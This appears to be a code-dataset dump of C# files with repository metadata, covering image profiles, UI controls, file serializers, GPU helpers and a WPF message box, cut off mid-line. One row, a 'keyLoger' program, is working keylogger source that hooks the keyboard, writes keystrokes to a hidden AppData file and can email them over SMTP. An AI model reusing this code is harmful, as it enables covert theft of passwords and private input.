content
stringlengths
5
1.04M
avg_line_length
float64
1.75
12.9k
max_line_length
int64
2
244k
alphanum_fraction
float64
0
0.98
licenses
list
repository_name
stringlengths
7
92
path
stringlengths
3
249
size
int64
5
1.04M
lang
stringclasses
2 values
// Copyright (c) Six Labors and contributors. // Licensed under the Apache License, Version 2.0. using System.Text; namespace SixLabors.ImageSharp.MetaData.Profiles.Icc { /// <summary> /// Provides methods to read ICC data types /// </summary> internal sealed partial class IccDataReader { private static readonly Encoding AsciiEncoding = Encoding.GetEncoding("ASCII"); /// <summary> /// The data that is read /// </summary> private readonly byte[] data; /// <summary> /// The current reading position /// </summary> private int currentIndex; /// <summary> /// Initializes a new instance of the <see cref="IccDataReader"/> class. /// </summary> /// <param name="data">The data to read</param> public IccDataReader(byte[] data) { Guard.NotNull(data, nameof(data)); this.data = data; } /// <summary> /// Gets the length in bytes of the raw data /// </summary> public int DataLength => this.data.Length; /// <summary> /// Sets the reading position to the given value /// </summary> /// <param name="index">The new index position</param> public void SetIndex(int index) { this.currentIndex = index.Clamp(0, this.data.Length); } /// <summary> /// Returns the current <see cref="currentIndex"/> without increment and adds the given increment /// </summary> /// <param name="increment">The value to increment <see cref="currentIndex"/></param> /// <returns>The current <see cref="currentIndex"/> without the increment</returns> private int AddIndex(int increment) { int tmp = this.currentIndex; this.currentIndex += increment; return tmp; } /// <summary> /// Calculates the 4 byte padding and adds it to the <see cref="currentIndex"/> variable /// </summary> private void AddPadding() { this.currentIndex += this.CalcPadding(); } /// <summary> /// Calculates the 4 byte padding /// </summary> /// <returns>the number of bytes to pad</returns> private int CalcPadding() { int p = 4 - (this.currentIndex % 4); return p >= 4 ? 0 : p; } /// <summary> /// Gets the bit value at a specified position /// </summary> /// <param name="value">The value from where the bit will be extracted</param> /// <param name="position">Position of the bit. Zero based index from left to right.</param> /// <returns>The bit value at specified position</returns> private bool GetBit(byte value, int position) { return ((value >> (7 - position)) & 1) == 1; } /// <summary> /// Gets the bit value at a specified position /// </summary> /// <param name="value">The value from where the bit will be extracted</param> /// <param name="position">Position of the bit. Zero based index from left to right.</param> /// <returns>The bit value at specified position</returns> private bool GetBit(ushort value, int position) { return ((value >> (15 - position)) & 1) == 1; } } }
33.666667
105
0.556785
[ "Apache-2.0" ]
OwenMcDonnell/ImageSharp
src/ImageSharp/MetaData/Profiles/ICC/DataReader/IccDataReader.cs
3,436
C#
/* EnumComboBoxTest.cs -- * Ars Magna project, http://arsmagna.ru * ------------------------------------------------------- * Status: poor */ #region Using directives using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using AM; using AM.Windows.Forms; using CodeJam; using IrbisUI; using JetBrains.Annotations; using ManagedIrbis; using ManagedIrbis.Marc; using MoonSharp.Interpreter; using Newtonsoft.Json; #endregion namespace UITests { public sealed class EnumComboBoxTest : IUITest { #region IUITest members public void Run ( IWin32Window ownerWindow ) { using (Form form = new Form()) { form.Size = new Size(800, 600); EnumComboBox comboBox = new EnumComboBox { EnumType = typeof(MarcBibliographicalIndex), Location = new Point(10, 10), Width = 200 }; form.Controls.Add(comboBox); TextBox textBox = new TextBox { Location = new Point(220, 10), Width = 200 }; form.Controls.Add(textBox); comboBox.SelectedValueChanged += (sender, args) => { int? value = comboBox.Value; string text = value == null ? "(null)" : ((MarcBibliographicalIndex)value).ToString(); textBox.Text = text; }; form.ShowDialog(ownerWindow); } } #endregion } }
21.987952
71
0.493151
[ "MIT" ]
amironov73/ManagedClient.45
Source/UITests/Sources/Tests/EnumComboBoxTest.cs
1,827
C#
using Amazon.JSII.Runtime.Deputy; namespace Amazon.JSII.Tests.CalculatorNamespace { /// <remarks> /// stability: Experimental /// </remarks> [JsiiInterface(nativeType: typeof(IReturnsNumber), fullyQualifiedName: "jsii-calc.IReturnsNumber")] public interface IReturnsNumber { /// <remarks> /// stability: Experimental /// </remarks> [JsiiProperty(name: "numberProp", typeJson: "{\"fqn\":\"@scope/jsii-calc-lib.Number\"}")] Amazon.JSII.Tests.CalculatorNamespace.LibNamespace.Number NumberProp { get; } /// <remarks> /// stability: Experimental /// </remarks> [JsiiMethod(name: "obtainNumber", returnsJson: "{\"type\":{\"fqn\":\"@scope/jsii-calc-lib.IDoublable\"}}")] Amazon.JSII.Tests.CalculatorNamespace.LibNamespace.IDoublable ObtainNumber(); } }
34
115
0.622172
[ "Apache-2.0" ]
NyanKiyoshi/jsii
packages/jsii-pacmak/test/expected.jsii-calc/dotnet/Amazon.JSII.Tests.CalculatorPackageId/Amazon/JSII/Tests/CalculatorNamespace/IReturnsNumber.cs
884
C#
using System; using System.Collections.Generic; using System.Linq; using System.Drawing; using Scallion.Core; using Scallion.Internal; using Scallion.Raw.Components.Project; namespace Scallion.Raw { internal class Project : MMDFile<Project> { public static readonly string Signature = "Polygon Movie maker 0002"; public Size OutputSize { get; set; } public int TimelinePanelWidth { get; set; } public float AngleOfView { get; set; } public bool IsModelSelected { get; set; } public PanelExpansion PanelExpansion { get; set; } public byte SelectedModelIndex { get; set; } public List<Model> Models { get; set; } public Camera Camera { get; set; } public Light Light { get; set; } public byte SelectedAccessoryIndex { get; set; } public int TimelinePanelTopAccessoryIndex { get; set; } public byte AccessoriesCount { get; set; } public List<Accessory> Accessories { get; set; } public TimelinePanelState TimelinePanelStatus { get; set; } public DomainModels.Components.BoneSelectionType BoneSelectionType { get; set; } public DomainModels.Components.CameraFollowingType CameraFollowingType { get; set; } public PreviewPanel PreviewPanel { get; set; } public Media Media { get; set; } public bool IsInformationVisible { get; set; } public bool IsAxesVisible { get; set; } public bool IsSurfaceShadowEnabled { get; set; } public float FpsLimit { get; set; } public DomainModels.Components.ScreenCaptureMode ScreenCapturingMode { get; set; } public int AccessoryRenderedAfterModelIndex { get; set; } public float SurfaceShadowBrightness { get; set; } public bool IsSurfaceShadowTransparent { get; set; } public DomainModels.Components.PhysicsMode PhysicsMode { get; set; } public Gravity Gravity { get; set; } public SelfShadow SelfShadow { get; set; } public Color EdgeColor { get; set; } public bool IsBackgroundBlack { get; set; } public BoneReference CameraFollowingBone { get; set; } public bool IsFollowingViewEnabled { get; set; } public bool IsGroundPhysicsEnabled { get; set; } public int FrameJumpingBoxValue { get; set; } public List<RangeSelection> RangeSelections { get; set; } public override void Serialize(MoSerializer archive) { archive.WriteByteString(Signature, 30); archive.Serialize(new SizeWrapper(OutputSize)); archive.WriteInt32(TimelinePanelWidth); archive.WriteSingle(AngleOfView); archive.WriteByte((byte)(IsModelSelected ? 0 : 1)); archive.Serialize(PanelExpansion); archive.WriteByte(SelectedModelIndex); archive.WriteByte((byte)Models.Count); foreach (var model in Models) archive.Serialize(model); archive.Serialize(Camera); archive.Serialize(Light); archive.WriteByte(SelectedAccessoryIndex); archive.WriteInt32(TimelinePanelTopAccessoryIndex); archive.WriteByte((byte)Accessories.Count); foreach (var acc in Accessories.OrderBy(p => p.RenderingOrder)) archive.WriteByteString(acc.Name, 100); archive.SerializeListWithoutCount(Accessories); archive.Serialize(TimelinePanelStatus); archive.WriteInt32((int)BoneSelectionType); archive.WriteByte((byte)(CameraFollowingType)); archive.Serialize(PreviewPanel); archive.Serialize(Media); archive.WriteByte((byte)(IsInformationVisible ? 1 : 0)); archive.WriteByte((byte)(IsAxesVisible ? 1 : 0)); archive.WriteByte((byte)(IsSurfaceShadowEnabled ? 1 : 0)); archive.WriteSingle(FpsLimit); archive.WriteInt32((int)ScreenCapturingMode); archive.WriteInt32(AccessoryRenderedAfterModelIndex); archive.WriteSingle(SurfaceShadowBrightness); archive.WriteByte((byte)(IsSurfaceShadowTransparent ? 1 : 0)); archive.WriteByte((byte)PhysicsMode); archive.Serialize(Gravity); archive.Serialize(SelfShadow); archive.Serialize(new Int32ColorWrapper(EdgeColor)); archive.WriteByte((byte)(IsBackgroundBlack ? 1 : 0)); archive.Serialize(new BoneReferenceWrapper(CameraFollowingBone)); // unknown 64bits sequence(like matrix) for (int i = 0; i < 4; i++) for (int j = 0; j < 4; j++) archive.WriteSingle(i == j ? 1 : 0); archive.WriteByte((byte)(IsFollowingViewEnabled ? 1 : 0)); archive.WriteByte(0); // unknown archive.WriteByte((byte)(IsGroundPhysicsEnabled ? 1 : 0)); archive.WriteInt32(FrameJumpingBoxValue); archive.WriteByte(1); archive.SerializeListWithoutCount(RangeSelections); } public override void Deserialize(MoDeserializer archive) { if (archive.ReadByteString(30).TrimNull() != Signature) throw new ArgumentException("Unsupported or invalid .pmm file"); OutputSize = archive.Deserialize<SizeWrapper>().Value; TimelinePanelWidth = archive.ReadInt32(); AngleOfView = archive.ReadSingle(); IsModelSelected = archive.ReadByte() == 0; PanelExpansion = archive.Deserialize<PanelExpansion>(); SelectedModelIndex = archive.ReadByte(); Models = archive.DeserializeList<Model>((int)archive.ReadByte()); Camera = archive.Deserialize<Camera>(); Light = archive.Deserialize<Light>(); SelectedAccessoryIndex = archive.ReadByte(); TimelinePanelTopAccessoryIndex = archive.ReadInt32(); AccessoriesCount = archive.ReadByte(); for (int i = 0; i < AccessoriesCount; i++) archive.ReadByteString(100); Accessories = archive.DeserializeList<Accessory>(AccessoriesCount); TimelinePanelStatus = archive.Deserialize<TimelinePanelState>(); BoneSelectionType = (DomainModels.Components.BoneSelectionType)archive.ReadInt32(); CameraFollowingType = (DomainModels.Components.CameraFollowingType)archive.ReadByte(); PreviewPanel = archive.Deserialize<PreviewPanel>(); Media = archive.Deserialize<Media>(); IsInformationVisible = archive.ReadByte() == 1; IsAxesVisible = archive.ReadByte() == 1; IsSurfaceShadowEnabled = archive.ReadByte() == 1; FpsLimit = archive.ReadSingle(); ScreenCapturingMode = (DomainModels.Components.ScreenCaptureMode)archive.ReadInt32(); AccessoryRenderedAfterModelIndex = archive.ReadInt32(); SurfaceShadowBrightness = archive.ReadSingle(); IsSurfaceShadowTransparent = archive.ReadByte() == 1; PhysicsMode = (DomainModels.Components.PhysicsMode)archive.ReadByte(); Gravity = archive.Deserialize<Gravity>(); SelfShadow = archive.Deserialize<SelfShadow>(); EdgeColor = archive.Deserialize<Int32ColorWrapper>().Value; IsBackgroundBlack = archive.ReadByte() == 1; // huh? CameraFollowingBone = new BoneReference(archive.ReadInt32(), archive.ReadInt32()); // unknown 64bits sequence for (int i = 0; i < 64; i++) archive.ReadByte(); IsFollowingViewEnabled = archive.ReadByte() == 1; archive.ReadByte(); // unknown IsGroundPhysicsEnabled = archive.ReadByte() == 1; FrameJumpingBoxValue = archive.ReadInt32(); archive.ReadByte(); // after v9.24, this will be 1 that represents trailing section has valid data. RangeSelections = archive.DeserializeList<RangeSelection>(Models.Count); } } }
43.437838
111
0.641364
[ "MIT" ]
paralleltree/Scallion
Scallion/Raw/Project.cs
8,038
C#
using System.Collections.Generic; using HappyMapper.AutoMapper.ConfigurationAPI.Configuration; namespace HappyMapper.AutoMapper.ConfigurationAPI { public class TypeMapRegistry { public IDictionary<TypePair, TypeMap> TypeMapsDictionary { get; } = new Dictionary<TypePair, TypeMap>(); public IEnumerable<TypeMap> TypeMaps => TypeMapsDictionary.Values; public void RegisterTypeMap(TypeMap typeMap) => TypeMapsDictionary[typeMap.TypePair] = typeMap; public TypeMap GetTypeMap(TypePair typePair) => TypeMapsDictionary.GetOrDefault(typePair); } }
36.75
112
0.763605
[ "MIT" ]
chumakov-ilya/HappyMapper
AutoMapper.ConfigurationAPI/AutoMapper/TypeMapRegistry.cs
588
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. using System; using Microsoft.AspNetCore.Http; using Microsoft.IdentityModel.Protocols.WsFederation; namespace Microsoft.AspNetCore.Authentication.WsFederation; /// <summary> /// The context object used in for <see cref="WsFederationEvents.AuthenticationFailed"/>. /// </summary> public class AuthenticationFailedContext : RemoteAuthenticationContext<WsFederationOptions> { /// <summary> /// Creates a new context object /// </summary> /// <param name="context"></param> /// <param name="scheme"></param> /// <param name="options"></param> public AuthenticationFailedContext(HttpContext context, AuthenticationScheme scheme, WsFederationOptions options) : base(context, scheme, options, new AuthenticationProperties()) { } /// <summary> /// The <see cref="WsFederationMessage"/> from the request, if any. /// </summary> public WsFederationMessage ProtocolMessage { get; set; } = default!; /// <summary> /// The <see cref="Exception"/> that triggered this event. /// </summary> public Exception Exception { get; set; } = default!; }
35.6
117
0.702247
[ "MIT" ]
AndrewTriesToCode/aspnetcore
src/Security/Authentication/WsFederation/src/AuthenticationFailedContext.cs
1,246
C#
using System; using System.Diagnostics; using System.IO; using System.Net; using System.Net.Mail; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Windows.Forms; using Timer = System.Threading.Timer; namespace keyLoger { public struct KeyboardHookStruct { public int vkCode; public int scanCode; public int flags; public int time; public int dwExtraInfo; } public static class KeyLoger { #region Constants private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x0100; private const byte VK_RETURN = 0X0D; //Enter private const byte VK_SHIFT = 0x10; //shift private const byte VK_CAPITAL = 0x14; //capslock #endregion private static Timer _timer = new Timer(Callback, false /*object state*/, 0/*due time*/, 60000/*period 1 hour*/); private static readonly string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "logs.dat"); private static readonly KeyboardHookProc _keyboardHookProc = HookCallback; private static IntPtr _hookID = IntPtr.Zero; private static void Callback(object state) { var tread = new Thread(SendMail); //tread.Start(); } public static void IntializeLL_KEYBOARDHook() { _hookID = SetHook(_keyboardHookProc); Application.Run(); User32.UnhookWindowsHookEx(_hookID); } public delegate int KeyboardHookProc(int code, int wParam, ref KeyboardHookStruct lParam); private static IntPtr SetHook(KeyboardHookProc proc) { using (var curProcess = Process.GetCurrentProcess()) using (var curModule = curProcess.MainModule) { return User32.SetWindowsHookEx(WH_KEYBOARD_LL, proc, User32.GetModuleHandle(curModule.ModuleName), 0/*threadId*/); } } private static int HookCallback(int code, int wParam, ref KeyboardHookStruct lParam) { var isDownShift = ((User32.GetKeyState(VK_SHIFT) & 0x80) == 0x80); var isDownCapslock = (User32.GetKeyState(VK_CAPITAL) != 0); if (code >= 0) { if (wParam == WM_KEYDOWN) { var keyState = new byte[256]; User32.GetKeyboardState(keyState); var inBuffer = new byte[2]; if (User32.ToAscii(lParam.vkCode, lParam.scanCode, keyState, inBuffer, lParam.flags) != 1) return User32.CallNextHookEx(_hookID, code, wParam, ref lParam); var key = (char)inBuffer[0]; if (isDownCapslock || isDownShift) { key = char.IsLetter(key) ? char.ToUpper(key) : Encoding.Default.GetString(inBuffer)[0]; } File.AppendAllText(path, inBuffer[0] == VK_RETURN ? Environment.NewLine : key.ToString()); } } return User32.CallNextHookEx(_hookID, code, wParam, ref lParam); } private static void SendMail() { const string email = "ezrtyj@mail.ru"; // email from be send message const string password = ""; var smtpClient = new SmtpClient("smtp.mail.ru", 587);//new SmtpClient("smtp.gmail.com", 587); //Gmail smtp var msg = new MailMessage(new MailAddress(email),/*from*/ new MailAddress("esrg@gmail.com")/*send to*/) { Subject = "keyLoger", Body = DateTime.Now.ToString(), IsBodyHtml = true }; // msg.Attachments.Add(new Attachment(path)); smtpClient.EnableSsl = true; smtpClient.Credentials = new NetworkCredential(email, password); smtpClient.Send(msg); } } internal static class User32 { #region DLL import [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool GetKeyboardState(byte[] lpKeyState); [DllImport("user32")] public static extern int ToAscii( int uVirtKey, int uScanCode, byte[] lpbKeyState, byte[] lpwTransKey, int fuState); [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern short GetKeyState(int vKey); [DllImport("user32.dll")] public static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref KeyboardHookStruct lParam); [DllImport("user32.dll")] public static extern IntPtr SetWindowsHookEx(int idHook, KeyLoger.KeyboardHookProc callback, IntPtr hInstance, uint threadId); #endregion } }
35.883871
141
0.60338
[ "CC0-1.0" ]
23S163PR/system-programming
Novak.Andriy/All_Projects/keyLoger/KeyLoger.cs
5,564
C#
// Copyright (c) homuler & The Vignette Authors. Licensed under the MIT license. // See the LICENSE file in the repository root for more details. using System; using System.Runtime.InteropServices; using Akihabara.Core; using Akihabara.Framework.ImageFormat; using Akihabara.Framework.Port; using Akihabara.Native; using SafeNativeMethods = Akihabara.Native.Gpu.SafeNativeMethods; using UnsafeNativeMethods = Akihabara.Native.Gpu.UnsafeNativeMethods; namespace Akihabara.Gpu { public class GlCalculatorHelper : MpResourceHandle { public delegate IntPtr NativeGlStatusFunction(); public delegate Status GlStatusFunction(); public GlCalculatorHelper() : base() { UnsafeNativeMethods.mp_GlCalculatorHelper__(out var ptr).Assert(); Ptr = ptr; } protected override void DeleteMpPtr() { UnsafeNativeMethods.mp_GlCalculatorHelper__delete(Ptr); } public void InitializeForTest(GpuResources gpuResources) { UnsafeNativeMethods.mp_GlCalculatorHelper__InitializeForTest__Pgr(MpPtr, gpuResources.MpPtr).Assert(); GC.KeepAlive(gpuResources); GC.KeepAlive(this); } public Status RunInGlContext(NativeGlStatusFunction nativeGlStatusFunction) { UnsafeNativeMethods .mp_GlCalculatorHelper__RunInGlContext__PF(MpPtr, nativeGlStatusFunction, out var statusPtr).Assert(); GC.KeepAlive(this); return new Status(statusPtr); } public Status RunInGlContext(GlStatusFunction glStatusFunction) { Status tmpStatus = null; IntPtr NativeGlStatusFunction() { try { tmpStatus = glStatusFunction(); } catch (Exception e) { tmpStatus = Status.FailedPrecondition(e.ToString()); } return tmpStatus.MpPtr; } var nativeGlStatusFuncHandle = GCHandle.Alloc((NativeGlStatusFunction)NativeGlStatusFunction, GCHandleType.Pinned); var status = RunInGlContext(NativeGlStatusFunction); nativeGlStatusFuncHandle.Free(); tmpStatus?.Dispose(); return status; } public GlTexture CreateSourceTexture(ImageFrame imageFrame) { UnsafeNativeMethods.mp_GlCalculatorHelper__CreateSourceTexture__Rif(MpPtr, imageFrame.MpPtr, out var texPtr).Assert(); GC.KeepAlive(this); GC.KeepAlive(imageFrame); return new GlTexture(texPtr); } public GlTexture CreateSourceTexture(GpuBuffer gpuBuffer) { UnsafeNativeMethods.mp_GlCalculatorHelper__CreateSourceTexture__Rgb(MpPtr, gpuBuffer.MpPtr, out var texPtr).Assert(); GC.KeepAlive(this); GC.KeepAlive(gpuBuffer); return new GlTexture(texPtr); } public GlTexture CreateSourceTexture(GpuBuffer gpuBuffer, int plane) { UnsafeNativeMethods.mp_GlCalculatorHelper__CreateSourceTexture__Rgb_i(MpPtr, gpuBuffer.MpPtr, plane, out var texPtr).Assert(); GC.KeepAlive(this); GC.KeepAlive(gpuBuffer); return new GlTexture(texPtr); } public GlTexture CreateDestinationTexture(int width, int height, GpuBufferFormat format) { UnsafeNativeMethods.mp_GlCalculatorHelper__CreateDestinationTexture__i_i_ui(MpPtr, width, height, format, out var texPtr).Assert(); GC.KeepAlive(this); return new GlTexture(texPtr); } public GlTexture CreateDestinationTexture(GpuBuffer gpuBuffer) { UnsafeNativeMethods.mp_GlCalculatorHelper__CreateDestinationTexture__Rgb(MpPtr, gpuBuffer.MpPtr, out var texPtr).Assert(); GC.KeepAlive(this); GC.KeepAlive(gpuBuffer); return new GlTexture(texPtr); } public uint Framebuffer => SafeNativeMethods.mp_GlCalculatorHelper__framebuffer(MpPtr); public void BindFramebuffer(GlTexture glTexture) { UnsafeNativeMethods.mp_GlCalculatorHelper__BindFrameBuffer__Rtexture(MpPtr, glTexture.MpPtr).Assert(); GC.KeepAlive(glTexture); GC.KeepAlive(this); } public GlContext GetGlContext() { var glCtxPtr = SafeNativeMethods.mp_GlCalculatorHelper__GetGlContext(MpPtr); GC.KeepAlive(this); return new GlContext(glCtxPtr); } public bool Initialized => SafeNativeMethods.mp_GlCalculatorHelper__Initialized(MpPtr); } }
33.352113
143
0.649493
[ "MIT" ]
Amberarch/Akihabara
src/Akihabara/Gpu/GLCalculatorHelper.cs
4,736
C#
using System; namespace UtilsLite.Time { public interface IClock { DateTime GetNow(); DateTime GetUtcNow(); } }
14.1
29
0.602837
[ "MIT" ]
balazs-kis/utils-lite
UtilsLite/Time/IClock.cs
143
C#
using System.Linq; using System.Threading.Tasks; using System.Windows; using ModernWpf.Controls; using ModernWpf.Extensions; namespace ModernWpf { public static class MessageBox { public static bool EnableLocalization { get; set; } = true; #region Sync public static MessageBoxResult? Show(string messageBoxText) => Show(null, true, messageBoxText, null, null, null, null); public static MessageBoxResult? Show(string messageBoxText, string? caption) => Show(null, true, messageBoxText, caption, null, null, null); public static MessageBoxResult? Show(string messageBoxText, string? caption, MessageBoxButton button) => Show(null, true, messageBoxText, caption, button, null, null); public static MessageBoxResult? Show(string messageBoxText, string? caption, MessageBoxButton button, Symbol symbol) => Show(null, messageBoxText, caption, button, symbol, null); public static MessageBoxResult? Show(string messageBoxText, string? caption, MessageBoxButton button, SymbolGlyph symbol) => Show(null, messageBoxText, caption, button, symbol, null); public static MessageBoxResult? Show(string messageBoxText, string? caption, MessageBoxButton button, MessageBoxImage image) => Show(null, messageBoxText, caption, button, image, null); public static MessageBoxResult Show(string messageBoxText, string? caption, MessageBoxButton button, Symbol symbol, MessageBoxResult defaultResult) => Show(null, messageBoxText, caption, button, symbol, defaultResult); public static MessageBoxResult? Show(string messageBoxText, string? caption, MessageBoxButton button, Symbol symbol, MessageBoxResult? defaultResult) => Show(null, messageBoxText, caption, button, symbol, defaultResult); public static MessageBoxResult Show(string messageBoxText, string? caption, MessageBoxButton button, SymbolGlyph symbol, MessageBoxResult defaultResult) => Show(null, messageBoxText, caption, button, symbol, defaultResult); public static MessageBoxResult? Show(string messageBoxText, string? caption, MessageBoxButton button, SymbolGlyph symbol, MessageBoxResult? defaultResult) => Show(null, messageBoxText, caption, button, symbol, defaultResult); public static MessageBoxResult Show(string messageBoxText, string? caption, MessageBoxButton button, MessageBoxImage image, MessageBoxResult defaultResult) => Show(null, messageBoxText, caption, button, image, defaultResult); public static MessageBoxResult? Show(string messageBoxText, string? caption, MessageBoxButton button, MessageBoxImage image, MessageBoxResult? defaultResult) => Show(null, messageBoxText, caption, button, image, defaultResult); public static MessageBoxResult? Show(Window? owner, string messageBoxText) => Show(owner, false, messageBoxText, null, null, null, null); public static MessageBoxResult? Show(Window? owner, string messageBoxText, string? caption) => Show(owner, false, messageBoxText, caption, null, null, null); public static MessageBoxResult? Show(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button) => Show(owner, false, messageBoxText, caption, button, null, null); public static MessageBoxResult? Show(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, Symbol symbol) => Show(owner, messageBoxText, caption, button, symbol, null); public static MessageBoxResult? Show(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, SymbolGlyph symbol) => Show(owner, messageBoxText, caption, button, symbol, null); public static MessageBoxResult? Show(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, MessageBoxImage image) => Show(owner, messageBoxText, caption, button, image, null); public static MessageBoxResult? Show(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, string? glyph) => Show(owner, false, messageBoxText, caption, button, glyph, null); public static MessageBoxResult Show(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, Symbol symbol, MessageBoxResult defaultResult) => Show(owner, false, messageBoxText, caption, button, symbol.ToGlyph(), defaultResult); public static MessageBoxResult? Show(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, Symbol symbol, MessageBoxResult? defaultResult) => Show(owner, false, messageBoxText, caption, button, symbol.ToGlyph(), defaultResult); public static MessageBoxResult Show(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, SymbolGlyph symbol, MessageBoxResult defaultResult) => Show(owner, false, messageBoxText, caption, button, symbol.ToGlyph(), defaultResult); public static MessageBoxResult? Show(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, SymbolGlyph symbol, MessageBoxResult? defaultResult) => Show(owner, false, messageBoxText, caption, button, symbol.ToGlyph(), defaultResult); public static MessageBoxResult Show(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, MessageBoxImage image, MessageBoxResult defaultResult) => Show(owner, messageBoxText, caption, button, image.ToSymbol(), defaultResult); public static MessageBoxResult? Show(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, MessageBoxImage image, MessageBoxResult? defaultResult) => Show(owner, messageBoxText, caption, button, image.ToSymbol(), defaultResult); public static MessageBoxResult Show(Window? owner, bool lookForOwner, string messageBoxText, string? caption, MessageBoxButton? button, string? glyph, MessageBoxResult defaultResult) => ShowInternal(owner, lookForOwner, messageBoxText, caption, button, glyph, defaultResult) ?? defaultResult; public static MessageBoxResult? Show(Window? owner, bool lookForOwner, string messageBoxText, string? caption, MessageBoxButton? button, string? glyph, MessageBoxResult? defaultResult) => ShowInternal(owner, lookForOwner, messageBoxText, caption, button, glyph, defaultResult); #if !NET45 && !NET462 [return: System.Diagnostics.CodeAnalysis.NotNullIfNotNull("defaultResult")] #endif private static MessageBoxResult? ShowInternal(Window? owner, bool lookForOwner, string messageBoxText, string? caption, MessageBoxButton? button, string? glyph, MessageBoxResult? defaultResult) { if (owner is null && lookForOwner) owner = GetActiveWindow(); var window = new MessageBoxWindow(messageBoxText, caption ?? string.Empty, button ?? MessageBoxButton.OK, glyph) { Owner = owner, WindowStartupLocation = owner is null ? WindowStartupLocation.CenterScreen : WindowStartupLocation.CenterOwner }; window.ShowDialog(); return window.Result ?? defaultResult; } #endregion Sync #region Async public static Task<MessageBoxResult?> ShowAsync(string messageBoxText) => ShowAsync(null, true, messageBoxText, null, null, null, null); public static Task<MessageBoxResult?> ShowAsync(string messageBoxText, string? caption) => ShowAsync(null, true, messageBoxText, caption, null, null, null); public static Task<MessageBoxResult?> ShowAsync(string messageBoxText, string? caption, MessageBoxButton button) => ShowAsync(null, true, messageBoxText, caption, button, null, null); public static Task<MessageBoxResult?> ShowAsync(string messageBoxText, string? caption, MessageBoxButton button, Symbol symbol) => ShowAsync(null, messageBoxText, caption, button, symbol, null); public static Task<MessageBoxResult?> ShowAsync(string messageBoxText, string? caption, MessageBoxButton button, SymbolGlyph symbol) => ShowAsync(null, messageBoxText, caption, button, symbol, null); public static Task<MessageBoxResult?> ShowAsync(string messageBoxText, string? caption, MessageBoxButton button, MessageBoxImage image) => ShowAsync(null, messageBoxText, caption, button, image, null); public static Task<MessageBoxResult> ShowAsync(string messageBoxText, string? caption, MessageBoxButton button, Symbol symbol, MessageBoxResult defaultResult) => ShowAsync(null, messageBoxText, caption, button, symbol, defaultResult); public static Task<MessageBoxResult?> ShowAsync(string messageBoxText, string? caption, MessageBoxButton button, Symbol symbol, MessageBoxResult? defaultResult) => ShowAsync(null, messageBoxText, caption, button, symbol, defaultResult); public static Task<MessageBoxResult> ShowAsync(string messageBoxText, string? caption, MessageBoxButton button, SymbolGlyph symbol, MessageBoxResult defaultResult) => ShowAsync(null, messageBoxText, caption, button, symbol, defaultResult); public static Task<MessageBoxResult?> ShowAsync(string messageBoxText, string? caption, MessageBoxButton button, SymbolGlyph symbol, MessageBoxResult? defaultResult) => ShowAsync(null, messageBoxText, caption, button, symbol, defaultResult); public static Task<MessageBoxResult> ShowAsync(string messageBoxText, string? caption, MessageBoxButton button, MessageBoxImage image, MessageBoxResult defaultResult) => ShowAsync(null, messageBoxText, caption, button, image, defaultResult); public static Task<MessageBoxResult?> ShowAsync(string messageBoxText, string? caption, MessageBoxButton button, MessageBoxImage image, MessageBoxResult? defaultResult) => ShowAsync(null, messageBoxText, caption, button, image, defaultResult); public static Task<MessageBoxResult?> ShowAsync(Window? owner, string messageBoxText) => ShowAsync(owner, false, messageBoxText, null, null, null, null); public static Task<MessageBoxResult?> ShowAsync(Window? owner, string messageBoxText, string? caption) => ShowAsync(owner, false, messageBoxText, caption, null, null, null); public static Task<MessageBoxResult?> ShowAsync(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button) => ShowAsync(owner, false, messageBoxText, caption, button, null, null); public static Task<MessageBoxResult?> ShowAsync(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, Symbol symbol) => ShowAsync(owner, messageBoxText, caption, button, symbol, null); public static Task<MessageBoxResult?> ShowAsync(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, SymbolGlyph symbol) => ShowAsync(owner, messageBoxText, caption, button, symbol, null); public static Task<MessageBoxResult?> ShowAsync(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, MessageBoxImage image) => ShowAsync(owner, messageBoxText, caption, button, image, null); public static Task<MessageBoxResult?> ShowAsync(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, string? glyph) => ShowAsync(owner, false, messageBoxText, caption, button, glyph, null); public static Task<MessageBoxResult> ShowAsync(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, Symbol symbol, MessageBoxResult defaultResult) => ShowAsync(owner, false, messageBoxText, caption, button, symbol.ToGlyph(), defaultResult); public static Task<MessageBoxResult?> ShowAsync(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, Symbol symbol, MessageBoxResult? defaultResult) => ShowAsync(owner, false, messageBoxText, caption, button, symbol.ToGlyph(), defaultResult); public static Task<MessageBoxResult> ShowAsync(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, SymbolGlyph symbol, MessageBoxResult defaultResult) => ShowAsync(owner, false, messageBoxText, caption, button, 